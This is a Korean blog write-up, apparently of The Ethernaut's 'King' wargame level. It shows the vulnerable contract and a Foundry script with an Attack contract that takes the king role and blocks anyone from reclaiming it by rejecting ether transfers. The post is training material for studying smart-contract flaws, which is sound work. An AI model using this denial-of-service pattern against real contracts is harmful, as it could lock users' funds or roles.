Web3/The Ethernaut

[The Ethernaut] King

프레딕 2025. 1. 23. 21:08
728x90

문제 설명이 영어로되어있기도 하고 뭐라는지 모르겠어서 푸는데 애먹었다;;

 

대충 설명하자면 king을 빼앗는게 목표인데 instance 제출할때 다시 문제에서 king을 탈취할려고 시도할 것이다.

이거를 방해하기 까지 하면 성공이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

일단 king을 찾는건 value를 prize()만큼 보내면 된다.

prize가 얼마 있는지 확인하면 1wei정도 있다.

await web3.utils.fromWei(await contract.prize())

뭐 이정도는 보낼 수 있으니 그냥 되겠지 하고 보내면 안된다.

왜냐하면 내 지갑주소로 보내면 다시 문제에서 king을 되찾기 위해 transfer를 할 것이고 성공적으로 문제에서 king을 다시 빼앗을 것이다.

그러면 그냥 새로운 컨트랙트로 배포해서 transfer를 할때 받지 못하게 하면 된다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/king.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract Attack {
    constructor(King _kingInstacne) payable {
        (bool result,) = address(_kingInstacne).call{value: _kingInstacne.prize()}("");
    }
}


contract KingSolve is Script {
    King public target;
    function setUp() external {
        address payable kingAddress = payable(vm.envAddress("level_contract_address"));
        target = King(kingAddress);
    }

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));

        new Attack{value: target.prize()}(target); // 이렇게 함으로써 내 지갑이 아닌 Attack contract에서 빠져나가게 함
        // value 지정해주는 이유는 Attack contract에 값이 없을 테니 target.prize()만큼 값을 넘겨줌 내 지갑에서
        // 그래야 Attack에서 instance에 돈 넘길때 넘기는거 가능 
    }
}

여기선 fallback도 없고 receive도 없으니 이더를 받으려 하면 에러가 날 것이다.

따라서 transfer를 수행 못하고 king 도 지킬 수 있다. 

728x90
반응형